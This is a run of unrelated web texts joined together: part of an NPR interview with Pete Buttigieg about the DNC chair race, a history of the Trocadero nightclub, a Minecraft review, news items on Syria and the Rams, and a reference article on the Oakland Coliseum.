what our values actually are and what the policies are that flow from them. When we're talking about things like the deportation rates, we should also be talking about the importance of family, why we believe it's important to keep families intact and allow families to stay together. Every time we're saying no to something, we've got to be saying yes to something else. And I do think that we can have an energy that is at or above the level of what you saw with the tea party. GREENE: Well, let me just carry this on a bit if I can. If there is a vote or an action in Congress that would be going down the road to repeal Obamacare, would you and the party be ready to basically shut down Congress or shut down debate to hold that up, which would essentially in some ways be the party of no? BUTTIGIEG: Well, again, I think it's different when we're organizing around something that we're for. And when we see that we have been able to provide so many Americans with the ability to purchase health care and then we see somebody ready to take that away, then yeah, we need to resist that by any means necessary because that's how we show people that we're standing up for them, for their well-being, for their health, for their economic safety. And we've got to be willing to do whatever it takes in order to take that stand. GREENE: Are you being realistic about how much time it could take to build success? Because we've had Democratic strategists tell us that 2018, the hope for the Democratic Party to actually gain seats in Congress, almost zilch. I mean, are you looking beyond that to future years? BUTTIGIEG: Well, of course we've got to compete and win in 2018. But one thing that I've noticed about the other side of the aisle is they are very patient in building their majorities. You know, you had organizations that started by running people for school board in the '80s and are seeing dividends on that now. And we've got to have the same patience. We, as a party, can't treat the next cycle like it's the only one that matters. For example, you know, 2020 is a year that will have huge implications for redistricting. And so we've got to be looking at the statehouses, not treating the presidency like it's the only office that matters. GREENE: But you acknowledge that 2018 does not look so good for you. BUTTIGIEG: Well, look, the math is tough, especially when it comes to the Senate, but I also think Americans have woken up, whether it's people on our side of the aisle who stayed home in the last election or people who are up for grabs and a little bit skeptical about where this country is being led. I think there's tons of potential for pickups in 2018, but I'm not naive about what we're up against. And I certainly don't think the ordinary historical rule about midterms for the party in power is something that you can simply assume will carry us to victories. GREENE: Let me just ask you that - the front-runners for the job you're going for, DNC chair, are a former U.S. labor secretary and a member of Congress who has been serving in Congress for a decade. They've gotten most of the endorsements. Why would you be a better choice, Mayor? BUTTIGIEG: Well, you know, this is a moment when I think everybody competing to lead the party is largely saying similar things. We're all saying that we've got to engage a new generation. We've all said that we need to get back to the state and local level. And so my contention is if we're saying we want engage a new generation, bring in a leader from a new generation. If we're saying we want to compete and win in red and purple states, find somebody who's been competing and winning in as red a state as it gets, Mike Pence's Indiana. And if we're recognizing that the solutions are not going to come from Washington, D.C., put in somebody who doesn't get up in the morning and go to an office in Washington, D.C., every day. GREENE: Well, Mayor, thanks so much. It's been really nice talking to you. BUTTIGIEG: All right same here, thank you. (SOUNDBITE OF 2ECOND CLASS CITIZEN'S "OMNIPRESENT") Copyright © 2017 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information. NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.This shot from a 1949 film may well be the last existing photograph of the building that housed the world-famous Trocadero nightclub on the Sunset Strip. Located at 8610 Sunset in the Strip’s Sunset Plaza section, Hollywood Reporter founder and publisher Billy Wilkerson opened Cafe Trocadero in 1934. Wilkerson was a compulsive gambler and the ground floor of the building (below the street level shown here) was devoted to high-stakes gaming. He sold the club in 1938 to Nola Hahn, who ran Wilkerson’s gambling operations. Hahn sold it within months to showman and former movie producer Felix Young, who, like Wilkerson, was a compulsive gambler and doubtless continued the illegal gaming operations downstairs. Felix Young closed Cafe Trocadero in October 1939 during a lease dispute with the landlord. It briefly reopened in December, just long enough to host the after-party for the Hollywood premiere of “Gone with the Wind.” Young — who was initially a partner in Mocambo when it opened in January 1941 — put the company into bankruptcy in the spring of 1940, after which the building was stripped of all its furnishings. It sat empty for three years. Early on, it was vandalized; later it was considered to be the site of the Academy of Motion Pictures Arts and Sciences museum — which today, some 70 years on, is finally being built a few miles away at Wilshire and Fairfax avenues. In 1944, Latin bandleader Eddie LeBaron opened a new club there which he called “The Trocadero.” It was a hit but after LeBaron was drafted to serve in World War II, his brother sold the club to another gambling impresario, George Goldie. The new Trocadero went through a succession of owners — at one time it was managed by Glenn Billingsley, whose actress wife Barbara later played June Cleaver, the mom on “Leave It to Beaver” — before closing its doors for good in early 1947. The building was later demolished and for decades a large gaping empty space fronted by a wall occupied the site. The screen capture at the top of the page is from the 1949 film, “The Crooked Way,” and shows what appears to be a construction barrier around the front of the Trocadero. This barrier could have been part of a renovation of the building, perhaps a short-lived conversion into retail space, or it could have been erected in advance of the demotion. A new storefront building occupies the space today.How would you review Tetris, if you were reviewing it today? "The puzzling is very tight, and the soundtrack is catchy." That's the thing - Tetris is so much more than that by now, but it's almost impossible to disassociate it from its cultural resonance. Minecraft, the free-form building and survival game, hasn't yet seeped into the global consciousness to the same degree, but it has become something far more than a mere game. It is one that over four million people have already paid for and played. It is the brightest example of an indie success story you could name, having never been near a publisher or even an investor. Its lead developer, Markus 'Notch' Persson, is all but a celebrity - that one-word nickname guaranteeing instant press and gamer attention for any and all pronouncements it's attached to. There are T-shirts, there are costumes, there are conspiracy theories about an in-game nemesis who doesn't exist, there are podcasts, there are more YouTube videos than one human being could watch in a lifetime, there is a dedicated video commentary site starring a girl with pink hair who has her own frighteningly loyal fanbase. Identifying quite where the game stops and where its online legend begins is a tall order. Review Minecraft? Might as well review Justin Bieber. ("The hair is very shiny but the voice quite weedy; 7/10.") Except, somehow, Minecraft wasn't released until today, and thus today is the day it is intended to be reviewed on. It's been in alpha then beta for a couple of years now, with any and everyone who coughed up the eminently reasonable sum of first £10 and later £14 granted immediate access to the latest build and all future updates. There isn't even any mystery around the'release' version, with a near-finished build having been available for the last week or so. Review Minecraft? Oh, go on, then. Endermen: nightmarish teleporting bastards who are utterly vital to accessing the endgame. Back to basics: here's what Minecraft, the game, really is. It's a block-based sandbox with two key player abilities: to create and to destroy. With one mouse-button you give, with the other you take away. Hit something - almost anything - with your cuboid hand or whatever tool it holds and, after a few good thwacks, it'll disintegrate. Pick up the debris left behind, and you'll have a piece of building material. You can then drop that in the world, where it'll appear as (usually) a cube. Mine more materials, stack other cubes onto and around your first blocks and, with even the gentlest smattering of imagination, you'll have created something. It could be a giant tower to nowhere. It could be an elaborate Gothic castle with spires that pierce the very sky. It could be an operational minecart and track. It could be a crude phallus. It could be Justin Bieber. It could be almost anything, and that is Minecraft. It is so spectacularly simple in so many ways, and yet capable of being so fiendishly complicated, if you decide to set yourself an ambitious construction project that requires time, patience and ever-rarer types of block. But you don't have to. Be you the most casual clicker or the most diligent digital architect, you will make something of which you feel proud. The game splinters off into two key, additional forms beyond this delightfully minimalist, Lego-like core. One is a multiplayer mode, wherein the patient efforts and bubbling imaginations of a group working together result in what tend to be the most spectacular sights you'll find in this or almost any other game. Find a popular server and you'll see amazing things: impossible cities in the clouds, vast underground mines, waterways carved into functional circuitry, working farms and, yes, quite a few phalluses. Oh no, I didn't mention the animals, did I? Fight 'em, coo at 'em, but most of all harvest, cook and eat bits of them to stay alive in Survival mode. With simple'recipes' of materials, which thanks to the mildly annoying lack of a tutorial you'll need to look up online or use shape-based guesses to come up with, you can make tools, structures, weapons, fire, portals, doors, ladders, all sorts. Whenever a new block type has been added to the game, Minecraft's building potential has grown exponentially. The endlessly reshapable world, paired with the developers' canny, programming-minded sense of what new block types could theoretically be used for, makes for a wonder of electronic possibility - the fundamental 'what if?' that video games can pose. Of course, most of us will never participate in such grand creations, because we're too lazy and panicky and easily distracted. Most of us will dig a big hole in the ground, stick some torches on the walls and feel like we're home. And that, I think, is Minecraft at its most important. No
may in fact have much greater consciousness than previously thought, Koch said. Implications for AI and virtual immortality If Koch and others are correct that strict materialism can't explain consciousness, it has implications for how sentient a computer might be: A supercomputer that re-creates the connectome, or all the myriad connections between neurons in the human brain, may be able to simulate all the behaviors of a human, but wouldn't be conscious. "You can simulate the mass of the black hole at the center of our universe, but space-time will never twist around the computer itself," Koch said. "The supercomputer can simulate the effect of consciousness, but it isn't consciousness. Such simulated consciousness may a kind of AI zombie, retaining all of the outward appearance of consciousness, but with no one home inside, Kuhn said. That implies that uploading one's mind to a computer in order to achieve virtual immortality may not work the way that many people anticipate, Kuhn added. [The Singularity, Virtual Immortality and the Trouble with Consciousness (Op-Ed )]GENEVA (Reuters) - Syria’s opposition plans to unveil its plans for a political transition to help end the country’s five-year war at a meeting of ministers in London next week, a delegate said. Hind Aboud Kabawat, member of High Negotiations Committee (HNC) attends a news conference during Syria peace talks at the United Nations in Geneva, Switzerland, March 15, 2016. REUTERS/Denis Balibouse In emailed comments to Reuters, Hind Kabawat, a member of Syria’s main opposition group, the High Negotiations Committee, said the delegation would give a detailed vision for Syria. This would include the formation of a transitional governing body with full executive powers, she said. Other details would include the length of the transition period, a mechanism to ensure fair representation of minorities and plans for the reform and reconstitution of state institutions, Kabawat said. Syria’s war shows little sign of stopping after five and a half years in which up to 400,000 have died and half of Syria’s population has been uprooted. The formation of a transitional governing body has been a key area of disagreement in the stalled U.N.-mediated peace talks, since it implies an end to the monopoly on power enjoyed by President Bashar al-Assad. Although a political transition, including elections and a new constitution, was agreed in a U.N. Security Council resolution, Assad’s government has said his future is not up for discussion, but has proposed the establishment of a national unity government by consensus. The opposition says Assad and his closest allies can have no role in Syria’s future. A huge resurgence of violence means peace talks in Geneva have been on hold since the end of April, and U.N. mediator Staffan de Mistura has repeatedly said that Syria needs a halt in the fighting before talks can resume. Kabawat said the opposition would press foreign ministers in London to take the steps needed to restore the diplomatic process, and to hold Assad’s government accountable for the use of chemical weapons in Syria. “The reality is the international community is failing Syrian civilians, most recently in Aleppo, Daraya, and Moadamiya; where we have seen no real steps will to protect civilians or break the sieges,” she said.Los Angeles Rams defensive line coach Mike Waufle has become a fan favorite on HBO’s Hard Knocks this season. He’s outgoing, outspoken and has a personality that will leave your jaw on the floor. To go along with that, he’s been a part of building a defensive line that is currently one of, if not the best groups in the entire NFL. Related Aaron Donald sounds pretty excited about the return of Robert Quinn Waufle has been with the Rams since 2012, so he’s watched this group come together and get better and better each season. Now, the defensive line is loaded with the likes of Aaron Donald, Robert Quinn, William Hayes and Michael Brockers. With massive talent across the entire line, Waufle summed up his thoughts on the talented group with one statement. Via ESPN’s Alden Gonzalez: “You can’t double them all, though,” said Waufle. “That’s the good news.” He’s not wrong, obviously. The best part of all is that not only can all four of those names above get to the quarterback, but they also can shut down the run as well. If the growth over the previous seasons is any indication, then this defensive line for the Rams should be in for a spectacular season, and one that could place them at the very top of the league.For the arena formerly known as Oakland–Alameda County Coliseum Arena, see Oracle Arena The Coliseum as seen in its original open grandstand configuration before being enclosed. The Oakland–Alameda County Coliseum, often referred to as the Oakland Coliseum, is a multi-purpose stadium in Oakland, California, United States, which is home to both the Oakland Athletics of Major League Baseball (MLB) and the Oakland Raiders of the National Football League (NFL). It opened in 1966 and is the only remaining stadium in the United States that is shared by professional football and baseball teams. The Coliseum was also home to some games of the San Jose Earthquakes of Major League Soccer in 2008–2009 and hosted games at the 2009 CONCACAF Gold Cup. The Oakland–Alameda County Coliseum complex consists of the stadium and the neighboring Oracle Arena. The Coliseum has 6,300 club seats, 2,700 of which are available for Athletics games, 143 luxury suites, 125 of which are available for Athletics games, and a variable seating capacity of 47,170 for baseball, 56,057 for football, and 63,132 for soccer. In seating capacity, Oakland Coliseum is the second smallest NFL stadium, larger only than Dignity Health Sports Park, the temporary home of the Los Angeles Chargers, but the eighth largest MLB stadium. On April 3, 2017, Opening Day, the Athletics dedicated the Coliseum's playing surface as Rickey Henderson Field in honor of MLB Hall of Famer and former Athletic Rickey Henderson. Stadium history [ edit ] Design [ edit ] The Coliseum features an underground design where the playing surface is actually below ground level (21 feet/6 meters below sea level). Consequently, fans entering the stadium find themselves walking on to the main concourse of the stadium at the top of the first level of seats. This, combined with the hill that was built around the stadium to create the upper concourse, means that only the third deck is visible from outside the park. This gives the Coliseum the illusion of being a short stadium from the outside. Planning and construction [ edit ] Business and political leaders in Oakland had long been in competition with neighbor San Francisco, as well as other cities in the West, and worked for Oakland and its suburbs (the greater East Bay) to be recognized nationally as a viable metropolitan area with its own identity and reputation, distinct and separate from that of San Francisco. Professional sports was seen as a primary way for the East Bay to gain such recognition. As a result, the desire for a major-league caliber stadium in the city of Oakland intensified during the 1950s and 1960s.[citation needed] By 1960, a non-profit corporation was formed to oversee the financing and development of the facility (rather than city or county government issuing taxpayer-backed bonds for construction). Local real estate developer Robert T. Nahas headed this group (which included other prominent East Bay business leaders such as former US Senator William Knowland and Edgar F. Kaiser), which later became the governing board of the Coliseum upon completion. It was Nahas' idea that the Coliseum be privately financed with ownership transferring to the city and county upon retirement of the construction financing.[9] Robert T. Nahas served 20 years as President of the Oakland–Alameda County Coliseum Board. On the death of Nahas, the San Francisco Chronicle's Rick DelVecchio quoted Jack Maltester, a former San Leandro mayor and Coliseum board member, "If not for Bob Nahas, there would be no Coliseum, it's really that simple." Nahas had to be a diplomat dealing with the egos of Raiders owner Al Davis, Athletics owner Charles O. Finley, and Warriors owner Franklin Mieuli. Preliminary architectural plans were unveiled in November 1960, and the following month a site was chosen west of the Elmhurst district of East Oakland alongside the then-recently completed Nimitz Freeway. A downtown site adjacent to Lake Merritt and the Oakland Auditorium (which itself, many years later, would be renamed the Henry J. Kaiser Convention Center) was also originally considered.[9] The Port of Oakland played a key role in the East Oakland site selection; The Port swapped 157 acres (64 ha) at the head of San Leandro Bay to the East Bay Regional Park District, in exchange for 105 acres (42 ha) of park land across the freeway, which the Port in turn donated to the City of Oakland as the site for the Coliseum sports complex.[10] The Oakland Raiders of the American Football League moved to Frank Youell Field, a makeshift stadium near downtown Oakland, in 1962, and the Coliseum was already being heralded in the local media as the Raiders' future permanent home. Baseball was also a major factor in the planning of the Coliseum. As early as 1961, the American League publicly indicated that it wished to include Oakland in its West Coast expansion plans. In 1963, American League president Joe Cronin suggested that Coliseum officials model some aspects of the new ballpark after then-new Dodger Stadium, which impressed him,[11] though these expansion plans seemed to fade by the middle of the decade. After approval from the city of Oakland as well as Alameda County by 1962, $25 million in financing was arranged. Plans were drawn for a stadium, an indoor arena, and an exhibition hall in between them. The architect of record was the San Francisco office of Skidmore, Owings & Merrill (with Myron Goldsmith the principal design architect[12]) and the general contractor was Guy F. Atkinson Company. Preliminary site preparation began in the summer of 1961. Construction began in the spring of 1962. The construction schedule was delayed for two years due to various legal issues and cost overruns; the original design of the Coliseum had to be modified slightly in order to stay on budget.[13] (For details on the indoor arena, now known as Oracle Arena, refer to that facility's article.) In 1965, it was rumored that the Cleveland Indians might leave Cleveland for a West Coast city (such as Oakland), but the Indians ended up remaining in Cleveland. Charlie Finley, owner of the Kansas City Athletics, unhappy in Kansas City, impressed by Oakland's new stadium and personally convinced to consider Oakland by Nahas,[14] eventually got permission after several unsuccessful attempts and amid considerable controversy, to relocate the Athletics to the stadium for the 1968 season. Configurations [ edit ] In its baseball configuration, the Coliseum has the most foul territory of any ballpark in Major League Baseball. Thus, many balls that would reach the seats in other ballparks can be caught for outs at the Coliseum. The distance to the backstop was initially 90 feet (27 m), but was reduced to 60 feet (18 m) in 1969. From 1968 through 1981 and in 1995, two football configurations were used at the stadium. During Raider preseason games and all regular season games played while the baseball season was still going on, the field was set up from home plate to center field (east/west). Seats that were down the foul lines for baseball games became the sideline seats for football games, which started up to 120 feet away from the field (most football-only stadiums have sideline seats that start around 60 feet away). Once the A's season ended, the orientation was switched to north/south: i.e. the football field ran from the left field line to the right field line; seats were moved from behind first and third base to create corners for the end zone to fit into (these seats were then placed to fill in the space that was normally behind home plate and near the foul poles for baseball games). Temporary football bleachers were then added in front of the baseball bleachers to form the sideline on the east (visitors') side, and the baseball bleachers were not sold. Raiders season ticket holders would thus have two season ticket locations in different parts of the stadium that roughly corresponded to the same location in relation to the field. Since stadium expansion in 1996, the field has run north/south throughout the season. Seating capacity [ edit ] Baseball Years Capacity 1968–1976 50,000 1977–1980 49,649 1981–1982 50,255 1983–1984 50,219 1985 50,255 1986 50,219 1987 49,219 1988 50,219 1989 49,219 1990 48,219 1991 47,450 1992–1995 47,313 1996–1997 39,875 1998–2005 43,662 2006–2007 34,077 2008–2016 35,067 2017–present 47,170 Football Years Capacity 1966–1972 54,587 1973–1974 54,041 1975–1976 54,037 1977–1988 54,615 1989–1995 54,444 1996–1998 63,026 1999–2012 63,132 2013 53,286 2014–present 56,057 Stadium name changes [ edit ] McAfee Coliseum Logo (2004–2008) Logo (2008–2011) Overstock.com Coliseum Logo (April–June 2011) O.co Coliseum Logo (2011–2016) For more than its first three decades (1966–1998) the stadium was known as Oakland–Alameda County Coliseum.[15] In September 1997, UMAX Technologies agreed to acquire the naming rights to the stadium. However, following a dispute, a court decision reinstated the Oakland–Alameda County Coliseum name. In 1998, Network Associates agreed to pay US$5.8 million over 5 years for the naming rights and the stadium became known as Network Associates Coliseum, or, alternately in marketing and media usage as, "the Net".[16] Network Associates renewed the contract in 2003 for an additional five years at a cost of $6 million. In mid-2004, Network Associates was renamed McAfee, restoring its name from before its 1997 merger with Network General, and the stadium was renamed McAfee Coliseum accordingly. McAfee was offered a renewal of the naming contract in 2008, but it was declined. The name reverted to the pre-1997 name of Oakland–Alameda County Coliseum on September 19, 2008. The stadium retained its original name until April 27, 2011, when it was renamed Overstock.com Coliseum via a 6-year, $7.2 million naming rights deal with online retailer Overstock.com. The Coliseum was renamed O.co Coliseum on June 6, 2011, after Overstock.com's marketing name.[17][18][19] However, due to a contract dispute with the Athletics regarding the Overstock/O.co naming rights deal, the A's continued to refer to the stadium as the Oakland–Alameda County Coliseum in all official team communications and on team websites.[20] Overstock opted out of the final year on their naming rights deal on April 2, 2016, and the stadium once again became the Oakland–Alameda County Coliseum.[21][22] The Athletics dedicated the Coliseum's playing surface "Rickey Henderson Field" in honor of MLB Hall of Famer and former Athletic Rickey Henderson as part of Opening Day on April 3, 2017.[23] Eventual replacements [ edit ] Athletics [ edit ] The A's then-new owner Lewis Wolff made the A's first official proposal for a new ballpark in Oakland to the Oakland-Alameda County Coliseum Authority on August 12, 2005. The new stadium would have been located across 66th Avenue from the Coliseum in what is currently an industrial area north of the Coliseum. The park would have held 35,000 fans, making it the smallest park in the major leagues. Plans for the Oakland location fell through in early 2006 when several of the owners of the land proposed for the new ballpark decided not to sell. The Coliseum in 1981 before construction of the Mount Davis structure (top) and Mt. Davis during baseball season in 2006, with tarp-covered upper deck (middle); the structure during football season. (bottom) Throughout 2006, the Athletics continued to search for a ballpark site within their designated territory of Alameda County. Late in 2006, rumors began to circulate regarding a 143-acre (58 ha) parcel of land in Fremont being the new site. These rumors were confirmed by the Fremont city council on November 8 of that year. Wolff met with the council that day to present his plan to move the A's to Fremont into a soon to be built ballpark named Cisco Field. Wolff and Cisco Systems conducted a press conference at the San Jose-based headquarters of Cisco Systems on November 14, 2006 to confirm the deal, and showcase some details of the future plan. However, on February 24, 2009, after delays and increased public opposition, the Athletics officially ended their search for a stadium site in Fremont.[24] The Athletics later took their Cisco Field plan to a site in downtown San Jose located near SAP Center (home of the NHL's San Jose Sharks).[25] The San Jose plan was opposed by the San Francisco Giants whose territory San Jose is in and on October 5, 2015, the United States Supreme Court rejected San Jose's bid on the Athletics.[26] During that time, the City of Oakland continued to propose new ballpark ideas that ranged from a proposal to build on a waterfront site in the Jack London Square area called Victory Court to a three stadium proposal called Coliseum City on the Coliseum site. Both plans went nowhere. The Athletics signed a 10-year lease to stay in Oakland and at the Coliseum on July 22, 2014. The deal required that the team look into a new stadium, but only in the city limits, which made it more difficult for the Raiders to tear the Coliseum down for a football-only facility. The A's began talks with an architect on August 6, 2014, to build a baseball-only stadium at the Coliseum site, according to Wolff.[27] Going into 2016, John J. Fisher took majority control of the team and made Dave Kaval team president and the person in charge of the stadium hunt. On September 12, 2017, it was announced that a site near Laney College and the Eastlake neighborhood had been chosen for the new ballpark (tentatively called Oakland Ballpark) with the A’s proposing to construct a 35,000 seat stadium on the site of the college's administrative buildings which the A's would relocate to a spot of the college's choosing.[28] However, the Laney College Board of Trustees abruptly ended talks with the Athletics in December 2017. The surprised A's were forced to look at alternatives for a new stadium location.[29] On November 28, 2018, The Athletics announced that the team had chosen to build its 34,000 seat new ballpark at the Howard Terminal site at the Port of Oakland. The team also announced its intent to purchase the coliseum site and make the site into a tech and housing hub, preserving Oracle Arena and reducing the Coliseum to a low-rise sports park as San Francisco did with Kezar Stadium.[30] Raiders [ edit ] Under any such replacement proposals, the Oakland Raiders would have presumably continued to play football in the Coliseum, although there were proposals for the Raiders to play at Levi's Stadium, the home of the San Francisco 49ers in Santa Clara as well as rumors regarding the Raiders' possible return to Los Angeles.[31][32][33] The Raiders proposed a 50,000-seat stadium in the same spot of the Coliseum in 2013. It would have cost $800 million, with $300 million coming from the Raiders, $200 million coming from the NFL's stadium loan program, and the final $300 million coming from the city.[34]. After the failure of the stadium plan, Raiders owner Mark Davis met with officials with the city of San Antonio on July 29, 2014, to discuss moving the Raiders to the city in time for the 2015 season; they would have temporarily played home games at the Alamodome until a new permanent stadium was built. On September 3, 2014, the city of Oakland claimed it had reached a tentative deal to build a new football stadium in Oakland, which would have resulted in the Coliseum being demolished. The claim was met with silence from the Raiders, who continued to explore San Antonio, and opposition from Alameda County.[35] On February 19, 2015, the Raiders and the San Diego Chargers announced plans for a privately financed $1.7 billion stadium that the two teams would have built in Carson upon being approved to move to the Los Angeles market.[36] Both teams stated that they would continue to attempt to get stadiums built in their respective cities.[37] The stadium was approved by the Carson City Council[38] but was defeated by the NFL who voted in favor of building Los Angeles Stadium at Hollywood Park and relocating the St. Louis Rams back to Los Angeles with the Chargers as the second LA team. In January 2016, Mark Davis met with Las Vegas Sands owner Sheldon Adelson about building a domed stadium on the UNLV campus for the Raiders and the UNLV Rebels.[39] The stadium location was later moved to a site across Interstate 15 from Mandalay Bay. After the approval of $750 million from the state of Nevada and backing from Bank of America after Adelson pulled out of the project, the Raiders submitted papers for relocation to Las Vegas in January 2017, and on March 27, 2017, the Raiders' relocation to Las Vegas was approved. The team planned to continue to play at the Coliseum through the 2019 NFL season and relocate to Las Vegas in 2020. In December 2018, the city of Oakland sued the Raiders and all of the other NFL teams for millions in unpaid debts and financial damages, which prompted Raiders management to declare that the team was leaving after the 2018 season.[40] Notable events [ edit ] 1960s [ edit ] Raiders and A's move in [ edit ] The Raiders played their first game at the stadium on September 18, 1966. In 1968, the Kansas City Athletics moved to Oakland and began play at the stadium. The Athletics' first game was played on April 17, 1968. The stadium complex cost $25.5 million to build and rests on 120 acres (49 ha) of land. On April 17, 1968, Boog Powell hit the first major league home run in the history of the Coliseum.[41] On May 8 of that year, Catfish Hunter pitched the ninth perfect game in Major League history at the Coliseum.[42] The Coliseum hosted the 1967 and 1969 AFL championship games. Additionally, the venue had hosted the second match of the NPSL Final 1967. 1970s [ edit ] The Black Hole (sections 104, 105, 106, and 107) during a Raiders home game against the Atlanta Falcons on November 2, 2008 From 1970 to 1972 the stadium hosted 3 college football benefit games featuring Bay Area schools versus historically black colleges. The Coliseum hosted the 1971 East–West Shrine Game on January 2, 1971. In 1972, the Athletics won their first of 3 straight World Series championships and their first since their years in Philadelphia. The awkwardness of the baseball-football conversion, as well as the low seating capacity (around 54,000 for football) and that the prime seating on the east side consisted of temporary bleachers led the Raiders to explore other stadium options. One such option was Memorial Stadium on the UC Berkeley campus. Several preseason games were played there in the early 1970s along with one regular season game in 1973 (a 12-7 victory over the Miami Dolphins during September while the A's regular season was going on). However, in response to traffic and parking issues associated with these games (while Cal games drew a large number of students who live on or near campus and walk to the games, Raiders games attracted fans from a larger geographic area who were used to tailgating at the Coliseum and were more likely to drive to games), the City of Berkeley passed a Professional Sports Events License Tax in which the city collected 10% of all gate receipts, making the staging of professional games inside the city cost-prohibitive. The Raiders were granted an injunction from the city collecting the tax, arguing that the tax was a regulatory measure rather than a revenue measure, and was therefore an improper regulation on land held in trust by the Regents of the University of California. However, the grant of the injunction was reversed by the California Court of Appeals, who found it to be a revenue measure, despite the fact that the city had made the measure immediately effective "due to danger to the public peace, health, and safety of the City of Berkeley as a result of the holding of professional sports events there".[43] The stadium was not well maintained for most of the late 1970s. Its condition was most noticeable during baseball season, when crowds for A's games twice numbered fewer than 1,000. On April 17, 1979, only 653 fans attended the game versus the Seattle Mariners.[44] During this time, it was popularly known as the "Oakland Mausoleum". 1980s [ edit ] An A's game at the Coliseum in 1985 In 1980, the Raiders won Super Bowl XV. Two years later, the Raiders moved to Los Angeles, leaving the A's as the only remaining tenants of Oakland Coliseum. Only days later, Finley agreed to sell the A's to Marvin Davis, who planned to move the A's to Denver. However, city and county officials were not about to lose Oakland's status as a major-league city in its own right, and refused to let the A's out of their lease. Finley sold the team instead to the owners of San Francisco-based Levi Strauss & Co..[citation needed] After the 1986 Major League Baseball season, the original scoreboards were replaced. A new American Sign and Indicator scoreboard and message center was installed behind the left-field bleachers, while the original right-field scoreboard was replaced with a manually operated out-of-town scoreboard. Between the centerfield flagpoles, a new Diamond Vision videoscreen was installed. The 1987 Major League Baseball All-Star Game was held at the stadium. From 1988 to 1990, the venue saw 3 more World Series. In 1989, the Athletics won their 4th Series since moving to Oakland, sweeping the San Francisco Giants in the earthquake-interrupted "Battle of the Bay" Series. 1990s [ edit ] In the 1990s, several major concerts were held, but these were not "Days on the Green", by definition, because they occurred at night. In July 1995, the Raiders agreed to return to Oakland provided that Oakland Coliseum underwent renovations. In November 1995, those renovations commenced and continued through the next summer until the beginning of the 1996 football season (more info below). The new layout also had the somewhat peculiar effect of creating an inward jog in the outfield fence, in left-center and right-center. There are now three distance markers instead of one, at various points of the power alleys, as indicated in the dimensions grid. The Raiders' return also heralded the creation of the "Black Hole", a highly recognizable group of fans who occupy one end zone seating during football games. Along with the since-demolished Atlanta–Fulton County Stadium, the stadium features the unusual configuration of laying the football field on a line from first to third base rather than laying it from home plate to center field, or parallel to one of the foul lines, as with most multipurpose facilities. Thus, a seat behind home plate for baseball is behind the 50-yard line for football. With the Miami Marlins opening their own ballpark in 2012, the stadium became the last remaining venue in the United States that hosts both a Major League Baseball and a National Football League team.[45] 2000s [ edit ] On April 2, 2006, the broadcast booth was renamed in honor of the late Bill King, a legendary Bay Area sportscaster who was the play-by-play voice of the A's, Raiders and Warriors for 44 years. San Jose Earthquakes of Major League Soccer, announced in November 2007 that they would be playing their "big draw" games, such as those featuring David Beckham and the Los Angeles Galaxy, at the stadium instead of their then-home Buck Shaw Stadium (capacity roughly over 10,000) in Santa Clara.[46] Since then the Quakes moved to their new home of Avaya Stadium and play their bigger games in nearby Stanford Stadium. Midway through the decade, the stadium established a "no re-entry" policy. Each ticket can only be used once, after which a second ticket must be purchased in order to re-enter the Coliseum. 2010s [ edit ] On May 9, 2010, almost 42 years to the day of Catfish Hunter's perfect game, Dallas Braden pitched the 19th perfect game in Major League history at the Coliseum. A commemorative graphic was placed on the baseball outfield wall next to Rickey Henderson's retired number on May 17, their next home game. As part of a new 10-year lease signed by the Athletics with the Oakland–Alameda County Coliseum Authority in 2014, the Oakland Coliseum had a new $10 million scoreboard system (two large outfield scoreboards, 36 feet tall and 145 feet wide, and two ribbon scoreboards) installed for the start of the 2015 MLB season. Also part of the new lease, the Coliseum Authority agreed to pay $1 million a year, with 5% annual increases, into a fund to maintain the stadium.[47] For the 2017 Major League Baseball season, the tarp covering a large amount of the baseball configuration has been removed, increasing the capacity to over 47,000 for the first time since 1995. The tarp remains on the football-only Mt. Davis. Concerts [ edit ] Commencing in 1973, the stadium hosted an annual Day on the Green concert series, presented by Bill Graham and his company Bill Graham Presents, which continued on into the early 1990s. Marvin Gaye made his official return to live performing and touring at the Coliseum on January 4, 1974 and the Coliseum was the basis for his 1 million-selling live album, Marvin Gaye Live! At the time, music industry executives cited the tour as a "heralded event" as Gaye made a comeback to live touring nearly 4 years after the death of his late singing partner Tammi Terrell. Led Zeppelin played what turned out to be their final North American concerts with twin shows during their 1977 North American Tour. This was due to the brutal assault on Peter Grant's 11-year-old son Warren by a Bill Graham roadie, and the sudden death of Robert Plant's young son Karac in the UK.[48] Parliament-Funkadelic recorded half the album Live: P-Funk Earth Tour at the Oakland Coliseum on January 21, 1977. The album was released in April of that year. The stadium played host to Amnesty International's Human Rights Now! Benefit Concert on September 23, 1988. The show was headlined by Sting and Peter Gabriel and also featured Bruce Springsteen & The E Street Band, Tracy Chapman, Youssou N'Dour, Roy Orbison and Joan Baez. Metallica and Guns N' Roses brought the Guns N' Roses/Metallica Stadium Tour to the Coliseum on September 24, 1992, with Body Count as their opening act. U2 played two nights in June 1997 at the Oakland Coliseum as part of their PopMart tour. They were supported by Oasis, one of the first shows of their Be Here Now tour. The stadium played host to The Gigantour on September 8, 2006, featuring performances by Megadeth, Lamb of God, Opeth, Arch Enemy, Overkill, Into Eternity, Sanctity and The SmashUp.[49] U2 performed during their 360° Tour on June 7, 2011, with Lenny Kravitz and Moonalice as their opening acts. The show was originally scheduled to take place on June 16, 2010, but was postponed, due to Bono's emergency back surgery.[50] On August 5, 2017, Green Day played a homecoming concert at the Coliseum. The show was part of the band's summer tour in support of their third number 1 album, Revolution Radio.[51] The stadium holds the distinction of hosting the most concerts by The Grateful Dead with 66 shows between 1979-1995. In popular culture [ edit ] Richard Marx shot the video for "Take This Heart" on the baseball field of the Coliseum. The stadium was the location for the 1994 Disney movie Angels in the Outfield. Although Angel Stadium of Anaheim (known as Anaheim Stadium at the time) was where the Angels actually played, it was damaged in the 1994 Southern California earthquake. Anaheim Stadium was used for views from the outside and aerial views, while the Coliseum was used for interior shots. The Coliseum was also used for scenes in the 2011 film Moneyball. Other events [ edit ] The stadium has hosted an AMA Supercross Championship round since 2011.[52] International soccer matches [ edit ] Date Competition Team Res Team Crowd January 9, 2000 International Friendly Mexico 2–1 Iran 34,289 Criticism [ edit ] Baseball [ edit ] In recent years, the Coliseum has been criticized as being one of the "worst stadiums in baseball". For instance, in 2011, Bleacher Report named it the fifth-worst stadium in the majors, partly due to its expansive foul territory.[53] Mount 